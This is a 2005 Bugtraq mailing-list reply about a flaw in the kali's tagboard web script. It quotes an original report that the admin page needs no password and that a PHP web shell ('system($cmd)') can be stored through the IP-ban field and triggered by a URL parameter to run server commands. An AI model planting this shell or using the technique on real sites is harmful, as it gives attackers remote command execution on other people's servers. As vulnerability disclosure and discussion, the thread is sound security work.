[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <426801ED.30709@bblfleet.com>
Date: Thu, 21 Apr 2005 15:41:33 -0400
From: Jason Dodson <jasond@...fleet.com>
To: piker piker <piker_666@...mail.com>, bugtraq@...urityfocus.com
Subject: Re: Vulnerability kali's tagboard
I think the idea is that the admin script be behind .htaccess
restrictions, NOT maintained by the software itself.
Jason
piker piker wrote:
>
> There are some bugs in the kali's tagboard, you can access to the admin system without password!, you can put iframes, scripts...
> But the most vulnerabilitie is in the ban ip's, you can put this script:
> " <? system($cmd) ?> " and execute commands in the server with this url:
> Example: http://web.com/tag/admin/banned.php?&cmd=command.
>
>
> Am0s Team
>
>
Powered by blists - more mailing lists